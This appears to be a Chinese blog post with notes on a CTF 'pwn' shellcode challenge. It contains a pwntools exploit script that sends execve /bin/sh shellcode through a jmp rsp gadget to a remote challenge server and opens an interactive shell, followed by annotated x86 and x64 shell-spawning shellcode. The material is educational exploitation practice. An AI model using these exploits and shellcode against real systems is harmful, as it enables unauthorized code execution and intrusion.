pwn-bllbl_shellcode_2(汇编)

from pwn import * 
def conn():
    global r
    #r = process("./pwn22")
    r = remote("1.95.36.136", 2050)
    context(arch="amd64")
    #r = remote("1.95.36.136", 2120)

def pwn():
	r.recvuntil(b"addr1:")
	buf = r.recvline()[:-1].decode()
	print("buf>>>",buf)
	jmp_rsp = 0x401380
	sh = 0x402047
	shellcode = asm("""
	mov al,0x3b
	mov esi,edi
	mov edi,0x402047
	mov edx,esi
	syscall
	""")
	shellcode += p64(jmp_rsp) + asm("sub rsp,0x15;jmp rsp")
	#gdb.attach(r,"b *0x401376")
	r.sendline(shellcode)
	#pause()
	r.interactive()
conn()
pwn()

解释:x64中,al是设置系统调用号,execve 的系统调用号为 59 (0x3b),rsi 存储 argv 的地址 ,(默认0),rdi 存储 /bin/sh 的地址 ,rdx 存储 envp 的地址,默认为 0




x86的shellcode汇编

section .text 
    global _start 
 
_start: 
    ; 将 /bin/sh 字符串放入栈中 
    xor eax, eax 
    push eax 
    push 0x68732f2f 
    push 0x6e69622f 
    mov ebx, esp ; ebx 存储 /bin/sh 的地址 
 
    ; 设置参数数组 argv 
    xor ecx, ecx 
    push ecx 
    push ebx 
    mov ecx, esp ; ecx 存储 argv 的地址 
 
    ; 设置环境变量数组 envp 为 NULL 
    xor edx, edx ; edx 存储 envp 的地址,这里设为 0 
 
    ; 设置系统调用号,execve 的系统调用号为 11 
    mov al, 11 
 
    ; 触发系统调用 
    int 0x80 
 
    ; 退出程序 
    mov al, 1 
    xor ebx, ebx 
    int 0x80 

在 x86(32 位)架构下,execve 系统调用号是 11,通过 int 0x80 指令触发。
可默认设为 0 的值
envp 参数:
envp 数组用于传递环境变量给新程序。若不需要传递额外的环境变量,可将其设置为 NULL。在汇编代码中,通过 xor edx, edx 将 edx 寄存器清零,使 envp 指针指向 NULL。
argv 数组中的额外参数:
若仅需执行 /bin/sh 而不传递额外的命令行参数,argv 数组可以只包含程序名 /bin/sh 和一个 NULL 元素。代码里,先通过 xor ecx, ecx 将 ecx 清零,再构建 argv 数组,保证其以 NULL 结尾。


x64的shellcode汇编

section .text 
    global _start 
 
_start: 
    ; 将 /bin/sh 字符串放入栈中 
    xor rdx, rdx 
    push rdx 
    mov rbx, 0x68732f6e69622f 
    push rbx 
    mov rdi, rsp ; rdi 存储 /bin/sh 的地址 
 
    ; 设置参数数组 argv 
    xor rsi, rsi 
    push rsi 
    push rdi 
    mov rsi, rsp ; rsi 存储 argv 的地址 
 
    ; 设置环境变量数组 envp 为 NULL 
    xor rdx, rdx ; rdx 存储 envp 的地址,这里设为 0 
 
    ; 设置系统调用号,execve 的系统调用号为 59 
    mov rax, 59 
 
    ; 触发系统调用 
    syscall 
 
    ; 退出程序 
    mov rax, 60 
    xor rdi, rdi 
    syscall 

在 x86_64 架构下,系统调用是通过 syscall 指令触发的,execve 系统调用号为 59(十进制)
可默认设为 0 的值
envp 参数:
在上述代码中,envp 数组用于传递环境变量给新程序。如果不需要传递额外的环境变量,可以将其设置为 NULL。在汇编代码里,通过 xor rdx, rdx 将 rdx 寄存器清零,使得 envp 指针指向 NULL。
argv 数组中的额外参数:
如果只需要执行 /bin/sh 而不传递额外的命令行参数,argv 数组可以只包含程序名 /bin/sh 和一个 NULL 元素。在代码中,通过 xor rsi, rsi 先将 rsi 清零,然后构建 argv 数组,确保其以 NULL 结尾。

posted @ 2025-04-29 13:10  lethe311  阅读(11)  评论(0)    收藏  举报